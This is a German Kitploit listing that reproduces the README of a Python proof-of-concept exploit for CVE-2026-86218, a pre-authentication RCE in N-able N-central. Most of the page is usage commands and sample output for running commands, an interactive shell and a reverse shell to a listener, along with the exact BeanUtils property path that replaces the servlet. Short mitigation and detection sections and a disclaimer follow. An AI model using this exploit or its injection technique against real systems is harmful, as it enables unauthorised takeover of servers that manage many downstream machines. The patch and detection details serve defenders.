Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-86218 — Python-3-Proof-of-Concept-Exploit für CVE-2026-86218, eine Pre-Auth-RCE in N-able N-central über eine Struts-Multipart-Race-Condition, mit Unterstützung für Befehlsausführung und Reverse Shell. | Kitploit
Tools/GitHubGitHub/super-meuw/cve-2026-86218
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPost-ExploitationPenetrationstestsRed TeamingRemote-Access-ToolPayload-Entwicklung
GitHubsuper-meuw/cve-2026-86218

CVE-2026-86218

Python-3-Proof-of-Concept-Exploit für CVE-2026-86218, eine Pre-Auth-RCE in N-able N-central über eine Struts-Multipart-Race-Condition, mit Unterstützung für Befehlsausführung und Reverse Shell.

vor 18h 2mNoch nicht geprüft
Repository anzeigen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit

Übersicht

Dies ist ein Python-3-Proof-of-Concept-Exploit für CVE-2026-86218, eine kritische Remote-Code-Execution-Schwachstelle vor der Authentifizierung in N-able N-central.

Details zur Schwachstelle:

  • CVE: CVE-2026-86218
  • CVSS-Score: 10.0 (Kritisch)
  • CWE: CWE-96 (Static Code Injection)
  • Betroffene Versionen: N-central < 2026.3.1.14
  • Angriffsvektor: Netzwerk (Nicht authentifiziert)

Beschreibung der Schwachstelle

N-able N-central verwendet ein sitzungsgebundenes Struts-Formular für eine nicht authentifizierte Aktion (/remoteControlAction.do). Zwei gleichzeitige Multipart-Anfragen können den Multipart-Handler des Formulars überrennen und die Live-Konfiguration von Jetty für die Property-Population von Commons BeanUtils offenlegen. Dies ermöglicht einem Angreifer:

  1. Einen lazy N-central Servlet-Holder (z. B. LogRetrieval) durch Jettys mitgeliefertes CGI-Servlet zu ersetzen
  2. Das CGI-Servlet so zu konfigurieren, dass es beliebige Befehle über /bin/sh -s ausführt
  3. Befehle über das URL-Mapping des ersetzten Servlets zu senden

Voraussetzungen

root@kitploit:~
pip install requests

Verwendung

Grundlegende Syntax

root@kitploit:~
python3 CVE-2026-86218.py -t <target_url> [options]

Optionen

OptionBeschreibung
-t, --targetZiel-N-central-URL (z. B. https://192.168.1.100)
-c, --commandEinzelner auszuführender Befehl
-i, --interactiveInteraktiver Befehlsmodus
--lhostListener-IP für Reverse Shell
--lportListener-Port (Standard: 4444)
--servletZu ersetzendes Servlet: LogRetrieval, FileTransfer, AutomationManagerDownloadServlet
--checkPrüfen, ob das Ziel anfällig ist
--no-verify-sslSSL-Zertifikatsüberprüfung deaktivieren
--timeoutAnfrage-Timeout (Standard: 30s)
--race-delayVerzögerung der Race Condition (Standard: 0.35s)
-v, --verboseAusführliche Ausgabe aktivieren

Beispiele

1. Prüfen, ob das Ziel anfällig ist

root@kitploit:~
python3 CVE-2026-86218.py -t https://192.168.1.100 --check --no-verify-ssl

Erwartete Ausgabe:

root@kitploit:~
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable

2. Einzelnen Befehl ausführen

root@kitploit:~
python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --no-verify-ssl

Erwartete Ausgabe:

root@kitploit:~
╔══════════════════════════════════════════════════════════════════╗
║  CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit       ║
║  Version: 1.0.0                                                ║
║  CVSS: 10.0 (Critical)                                         ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
[*] Obtaining unauthenticated session...
[*] Performing multipart race condition...
[*] Establishing connection for race condition...
[*] Sending helper request to install handler...
[*] Sending mutation fields...
[+] Race condition completed successfully
[*] Executing command: id
[+] Command executed successfully
uid=998(nable) gid=998(nable) groups=998(nable)

3. Reverse Shell

Zuerst Listener starten:

root@kitploit:~
nc -lvnp 4444

Exploit ausführen:

root@kitploit:~
python3 CVE-2026-86218.py -t https://192.168.1.100 --lhost 10.10.14.5 --lport 4444 --no-verify-ssl

Erwartete Ausgabe:

root@kitploit:~
[*] Preparing reverse shell to 10.10.14.5:4444
[!] Starting reverse shell...
[!] Make sure to have a listener running: nc -lvnp 4444
[+] Reverse shell payload sent successfully!
[+] Check your listener for incoming connection

Listener-Ausgabe:

root@kitploit:~
listening on [any] 4444 ...
connect to [10.10.14.5] from (UNKNOWN) [192.168.1.100] 49234
id
uid=998(nable) gid=998(nable) groups=998(nable)

4. Interaktiver Modus

root@kitploit:~
python3 CVE-2026-86218.py -t https://192.168.1.100 -i --no-verify-ssl

Interaktive Sitzung:

root@kitploit:~
╔══════════════════════════════════════════════════════════════════╗
║  CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit       ║
║  Version: 1.0.0                                                ║
║  CVSS: 10.0 (Critical)                                         ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
[*] Obtaining unauthenticated session...
[*] Performing multipart race condition...
[+] Race condition completed successfully
[*] Entering interactive command mode
[*] Type 'exit' or 'quit' to leave
[*] Type 'shell' for reverse shell setup

ncentral> id
uid=998(nable) gid=998(nable) groups=998(nable)

ncentral> cat /etc/passwd | head -5
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
...

ncentral> shell
Listener IP: 10.10.14.5
Listener Port: 4444
[*] Preparing reverse shell to 10.10.14.5:4444
[+] Reverse shell payload sent successfully!

ncentral> exit

5. Anderes Servlet verwenden

root@kitploit:~
# Use FileTransfer servlet (more disruptive)
python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --servlet FileTransfer --no-verify-ssl

Servlet-Optionen

ServletBeschreibungAuswirkung
LogRetrievalLog-Abruf-Endpunkt (Standard)Am wenigsten störend, Logs bis zum Neustart nicht verfügbar
FileTransferDateiübertragungs-EndpunktBeeinträchtigt die Dateiübertragungsfunktionalität
AutomationManagerDownloadServletAutomation-Manager-DownloadErfordert Management-UI-Port (8443)

Funktionsweise

Ausnutzungsablauf

  1. Versionsprüfung: /remoteControlAction.do abfragen, um die Version aus der Fehlerseite zu extrahieren
  2. Sitzungserwerb: Nicht authentifizierte JSESSIONID erhalten
  3. Race Condition:
    • Langsame Multipart-Anfrage senden, die während des Parsens pausiert
    • Während der Pause eine Hilfsanfrage senden, um einen Handler im gemeinsamen Formular zu installieren
    • Langsame Anfrage mit BeanUtils-Property-Injection-Feldern fortsetzen
  4. Servlet-Ersetzung: LogRetrieval durch Jetty CGI-Servlet ersetzen
  5. Befehlsausführung: Befehle über den CGI-Endpunkt senden

Technische Details

Die Schwachstelle nutzt eine Race Condition in der Multipart-Formularverarbeitung von Struts aus:

  • Struts speichert ein Formularobjekt pro HTTP-Sitzung
  • Zu Beginn einer Multipart-Anfrage entfernt Struts den Multipart-Handler des Formulars
  • Eine langsame Anfrage pausiert, während Struts noch den Body liest
  • Eine Hilfsanfrage wird abgeschlossen und installiert ihren initialisierten Handler
  • Wenn die langsame Anfrage fortgesetzt wird, folgt BeanUtils den präparierten Feldnamen durch den Handler
  • Diese Felder navigieren zu Jettys WebAppContext und ersetzen den Servlet-Holder

Die Mutationsfelder verwenden JavaBean-Property-Pfade:

root@kitploit:~
multipartRequestHandler.servlet.servletContext.classLoader.context.servletHandler.servlet(LogRetrieval).heldClass

Dies durchläuft: Multipart-Handler → Servlet-Kontext → Classloader → WebAppContext → Servlet-Handler → spezifischer Holder

Gegenmaßnahmen

  1. Sofort patchen: Upgrade auf N-central 2026.3.1.14 oder höher
  2. Zugriff einschränken: Eingehenden Zugriff auf die N-central-Konsole begrenzen
  3. Netzwerksegmentierung: N-central hinter VPN oder IP-Allowlisting platzieren
  4. Logs überwachen: Auf verdächtige API-Aktivitäten und Benutzererstellung prüfen

Erkennung

Log-Indikatoren

  • Ungewöhnliche Anfragen an /remoteControlAction.do
  • Multipart-Anfragen mit ungewöhnlichen Feldnamen
  • CGI-bezogene Aktivitäten auf LogRetrieval-Endpunkten
  • Unerwartete Erstellung von Benutzerkonten

Netzwerk-Indikatoren

  • Mehrere schnelle Anfragen an denselben Endpunkt
  • Große Multipart-Payloads
  • Verbindungen von ungewöhnlichen Quell-IPs

Referenzen

  • N-able Security Advisory
  • N-able Hotfix 4 Release Notes
  • Rapid7 Metasploit Module
  • Huntress Blog Post
  • CISA KEV Catalog

Haftungsausschluss

Dieser Exploit wird ausschließlich für autorisierte Sicherheitstests und Bildungszwecke bereitgestellt. Die unbefugte Verwendung dieses Exploits gegen Systeme, die Ihnen nicht gehören oder für die Sie keine Testgenehmigung haben, ist illegal und unethisch.

Holen Sie stets eine ordnungsgemäße Autorisierung ein, bevor Sie Penetrationstests durchführen.

Credits

  • Schwachstellenentdeckung: N-able Security Team
  • Metasploit-Modul: sfewer-r7 (Rapid7)
  • Exploit-Entwicklung: Basierend auf Rapid7-Recherche und öffentlichen Advisories
Tool herunterladen